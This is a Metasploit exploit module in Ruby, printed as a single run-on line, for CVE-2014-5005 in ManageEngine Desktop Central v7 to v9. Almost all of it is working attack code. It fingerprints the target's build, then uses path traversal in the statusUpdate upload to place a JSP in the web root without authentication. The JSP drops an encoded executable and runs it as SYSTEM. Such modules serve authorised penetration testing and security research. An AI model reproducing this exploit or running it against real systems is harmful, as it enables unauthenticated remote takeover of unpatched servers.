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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload', 'Description'=> %q{ This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions). A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as they do not ship with a bundled Java compiler. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>'# Vulnerability discovery and Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2014-5005'], ['OSVDB', '110643'], ['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt'] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets'=> [ [ 'Desktop Central v7 to v9 build 90054 / Windows', {} ] ], 'Privileged' => true, 'DefaultTarget'=> 0, 'DisclosureDate' => 'Aug 31 2014' )) register_options([Opt::RPORT(8020)], self.class) end # Test for Desktop Central def check res = send_request_cgi({ 'uri' => normalize_uri("configurations.do"), 'method' => 'GET' }) if res && res.code == 200 build = nil if res.body.to_s =~ /ManageEngine Desktop Central 7/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 print_status("#{peer} - Detected Desktop Central v7") elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/# DC v8 (later versions) build = $1 print_status("#{peer} - Detected Desktop Central v8 #{build}") else # DC v8 (earlier versions) print_status("#{peer} - Detected Desktop Central v8") end elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?) build = $1 end if build.nil? return Exploit::CheckCode::Unknown elsif Gem::Version.new(build) < Gem::Version.new("90055") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Uploading JSP to execute the payload") exe = payload.encoded_exe exe_filename = rand_text_alpha_lower(8) + ".exe" jsp_payload = jsp_drop_and_execute(exe, exe_filename) jsp_name = rand_text_alpha_lower(8) + ".jsp" send_request_cgi({ 'uri' => normalize_uri('statusUpdate'), 'method'=> 'POST', 'data'=> jsp_payload, 'ctype' => 'text/html', 'vars_get'=> { 'actionToCall'=> 'LFU', 'configDataID'=> '1', 'customerId'=> rand_text_numeric(4), 'fileName'=> '../' * 6 << jsp_name } }) # We could check for HTTP 200 and a "success" string. # However only some later v8 and v9 versions return this; and we don't really care # and do a GET to the file we just uploaded anyway. register_files_for_cleanup(exe_filename) register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}") print_status("#{peer} - Executing payload") send_request_cgi( { 'uri'=> normalize_uri(jsp_name), 'method' => 'GET' }) end def jsp_drop_bin(bin_data, output_file) jspraw =%Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q|char char1 = (char) data.charAt(counter);\n| jspraw << %Q|char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q|int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q|comb <<= 4;\n| jspraw << %Q|comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q|bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw =%Q|\n| jspraw << %Q|<%\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end |
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